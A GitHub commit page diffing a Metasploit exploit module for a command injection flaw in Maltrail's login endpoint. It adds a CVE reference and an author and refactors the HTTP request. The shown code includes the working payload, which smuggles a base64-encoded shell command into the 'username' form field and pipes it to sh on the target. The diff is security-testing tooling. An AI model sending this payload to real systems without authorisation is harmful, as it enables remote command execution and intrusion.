Skip to content

Commit 0553d6b

Browse files
authored
Land #20365, fixes/refactors the Maltrail RCE module
Fix `exploit/unix/http/maltrail_rce.rb`
2 parents 5c08321 + 1944c69 commit 0553d6b

File tree

1 file changed

+9
-6
lines changed

1 file changed

+9
-6
lines changed

modules/exploits/unix/http/maltrail_rce.rb

Lines changed: 9 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,8 @@ def initialize(info = {})
1818
'Description' => %q{
1919
Maltrail is a malicious traffic detection system, utilizing publicly
2020
available blacklists containing malicious and/or generally suspicious trails.
21-
The Maltrail versions < 0.54 is suffering from a command injection vulnerability.
22-
The `subprocess.check_output` function in `mailtrail/core/http.py` contains
21+
The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
22+
The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
2323
a command injection vulnerability in the `params.get("username")` parameter.
2424
An attacker can exploit this vulnerability by injecting arbitrary OS commands
2525
into the username parameter. The injected commands will be executed with the
@@ -31,14 +31,16 @@ def initialize(info = {})
3131
'License' => MSF_LICENSE,
3232
'Author' => [
3333
'Ege BALCI <egebalci[at]pm.me>', # msf module
34-
'Chris Wild', # original PoC, analysis
34+
'Valentin Lobstein', # Add CVE reference + rewrite
35+
'Chris Wild', # original PoC, analysis
3536
],
3637
'References' => [
3738
['EDB', '51676'],
39+
['CVE', '2025-34073'],
3840
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
3941
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
4042
],
41-
'Platform' => ['unix', 'linux'],
43+
'Platform' => %w[unix linux],
4244
'Privileged' => false,
4345
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
4446
'Targets' => [
@@ -101,13 +103,14 @@ def check
101103
end
102104

103105
def execute_command(cmd, _opts = {})
104-
send_request_raw( # This needs to be a raw requess cuz we don't wanna URL encode the body
106+
send_request_cgi(
105107
'uri' => normalize_uri(target_uri.path, 'login'),
106108
'method' => 'POST',
109+
'uri_encode_mode' => 'none',
107110
'headers' => {
108111
'ctype' => 'application/x-www-form-urlencoded'
109112
},
110-
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`" # We also need all the +
113+
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`"
111114
)
112115
end
113116

0 commit comments

Comments
 (0)